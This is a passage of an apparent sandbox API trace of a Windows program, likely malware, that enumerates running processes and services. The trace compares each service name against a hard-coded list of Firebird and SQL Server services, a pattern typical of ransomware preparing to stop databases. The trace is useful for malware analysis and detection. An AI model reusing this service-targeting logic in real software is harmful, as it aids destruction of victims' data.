[0183.538] lstrlenW (lpString="svchost.exe") returned 11 [0183.538] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.538] lstrlenW (lpString="svchost.exe") returned 11 [0183.538] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.539] lstrlenW (lpString="svchost.exe") returned 11 [0183.539] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0183.539] lstrlenW (lpString="audiodg.exe") returned 11 [0183.539] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.539] lstrlenW (lpString="svchost.exe") returned 11 [0183.539] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0183.540] lstrlenW (lpString="explorer.exe") returned 12 [0183.540] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0183.540] lstrlenW (lpString="dwm.exe") returned 7 [0183.540] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.540] lstrlenW (lpString="svchost.exe") returned 11 [0183.540] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0183.541] lstrlenW (lpString="n.exe") returned 5 [0183.541] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0183.541] lstrlenW (lpString="spoolsv.exe") returned 11 [0183.541] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.541] lstrlenW (lpString="svchost.exe") returned 11 [0183.541] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0183.542] lstrlenW (lpString="taskhost.exe") returned 12 [0183.542] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0183.542] lstrlenW (lpString="reader_sl.exe") returned 13 [0183.542] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0183.542] lstrlenW (lpString="n.exe") returned 5 [0183.542] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0183.543] lstrlenW (lpString="cmd.exe") returned 7 [0183.543] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0183.543] lstrlenW (lpString="cmd.exe") returned 7 [0183.543] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0183.544] lstrlenW (lpString="conhost.exe") returned 11 [0183.544] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0183.544] lstrlenW (lpString="conhost.exe") returned 11 [0183.544] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0183.544] CloseHandle (hObject=0x1ec) returned 1 [0183.544] Sleep (dwMilliseconds=0x1f4) [0184.231] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633d00 [0184.231] EnumServicesStatusExW (in: hSCManager=0x633d00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0184.231] GetLastError () returned 0xea [0184.231] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e4) returned 0x615dd0 [0184.231] EnumServicesStatusExW (in: hSCManager=0x633d00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x615dd0, cbBufSize=0x11e4, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x615dd0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0184.232] CloseServiceHandle (hSCObject=0x633d00) returned 1 [0184.232] lstrlenW (lpString="Appinfo") returned 7 [0184.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0184.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0184.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0184.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0184.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0184.232] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0184.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.232] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0184.232] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0184.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0184.233] lstrlenW (lpString="AudioSrv") returned 8 [0184.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0184.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0184.233] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0184.233] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0184.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0184.233] lstrlenW (lpString="BFE") returned 3 [0184.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0184.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0184.233] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0184.233] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0184.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0184.233] lstrlenW (lpString="CryptSvc") returned 8 [0184.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0184.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0184.233] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0184.233] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0184.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0184.233] lstrlenW (lpString="CscService") returned 10 [0184.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0184.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0184.233] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0184.233] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0184.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0184.233] lstrlenW (lpString="DcomLaunch") returned 10 [0184.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.233] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0184.233] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0184.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0184.233] lstrlenW (lpString="Dhcp") returned 4 [0184.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0184.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0184.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0184.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0184.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0184.234] lstrlenW (lpString="Dnscache") returned 8 [0184.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0184.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0184.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0184.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0184.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0184.234] lstrlenW (lpString="DPS") returned 3 [0184.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0184.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0184.234] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0184.234] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0184.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0184.234] lstrlenW (lpString="eventlog") returned 8 [0184.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0184.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0184.234] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0184.234] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0184.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0184.234] lstrlenW (lpString="EventSystem") returned 11 [0184.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0184.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0184.234] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0184.234] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0184.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0184.234] lstrlenW (lpString="gpsvc") returned 5 [0184.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0184.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0184.234] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0184.234] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0184.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0184.235] lstrlenW (lpString="iphlpsvc") returned 8 [0184.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0184.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0184.235] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0184.235] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0184.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0184.235] lstrlenW (lpString="LanmanServer") returned 12 [0184.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0184.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0184.235] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0184.235] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0184.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0184.235] lstrlenW (lpString="LanmanWorkstation") returned 17 [0184.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0184.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0184.235] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0184.235] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0184.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0184.235] lstrlenW (lpString="lmhosts") returned 7 [0184.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0184.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0184.235] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0184.235] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0184.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0184.235] lstrlenW (lpString="MMCSS") returned 5 [0184.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0184.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0184.235] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0184.235] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0184.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0184.235] lstrlenW (lpString="MpsSvc") returned 6 [0184.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0184.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0184.236] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0184.236] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0184.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0184.236] lstrlenW (lpString="Netman") returned 6 [0184.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0184.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0184.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0184.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0184.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0184.236] lstrlenW (lpString="netprofm") returned 8 [0184.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0184.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0184.236] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0184.236] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0184.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0184.236] lstrlenW (lpString="NlaSvc") returned 6 [0184.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0184.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0184.236] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0184.236] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0184.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0184.236] lstrlenW (lpString="nsi") returned 3 [0184.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0184.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0184.236] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0184.236] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0184.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0184.236] lstrlenW (lpString="PcaSvc") returned 6 [0184.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0184.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0184.236] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0184.237] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0184.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0184.237] lstrlenW (lpString="PlugPlay") returned 8 [0184.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0184.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0184.237] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0184.237] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0184.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0184.237] lstrlenW (lpString="Power") returned 5 [0184.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0184.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0184.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0184.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0184.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0184.237] lstrlenW (lpString="ProfSvc") returned 7 [0184.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0184.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0184.237] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0184.237] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0184.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0184.237] lstrlenW (lpString="RpcEptMapper") returned 12 [0184.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.237] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0184.237] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0184.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0184.237] lstrlenW (lpString="RpcSs") returned 5 [0184.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0184.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0184.237] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0184.237] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0184.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0184.237] lstrlenW (lpString="SamSs") returned 5 [0184.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0184.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0184.238] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0184.238] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0184.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0184.238] lstrlenW (lpString="Schedule") returned 8 [0184.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0184.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0184.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0184.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0184.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0184.238] lstrlenW (lpString="SENS") returned 4 [0184.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0184.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0184.238] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0184.238] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0184.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0184.238] lstrlenW (lpString="ShellHWDetection") returned 16 [0184.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.238] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0184.238] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0184.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0184.238] lstrlenW (lpString="Spooler") returned 7 [0184.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0184.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0184.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0184.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0184.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0184.238] lstrlenW (lpString="SysMain") returned 7 [0184.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0184.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0184.238] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0184.238] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0184.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0184.239] lstrlenW (lpString="Themes") returned 6 [0184.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0184.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0184.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0184.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0184.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0184.239] lstrlenW (lpString="TrkWks") returned 6 [0184.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0184.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0184.239] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0184.239] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0184.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0184.239] lstrlenW (lpString="UxSms") returned 5 [0184.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0184.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0184.239] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0184.239] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0184.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0184.239] lstrlenW (lpString="WdiServiceHost") returned 14 [0184.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0184.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0184.239] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0184.239] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0184.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0184.239] lstrlenW (lpString="WdiSystemHost") returned 13 [0184.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0184.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0184.239] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0184.239] lstrcmpiW (lpString1="mssqlserver", 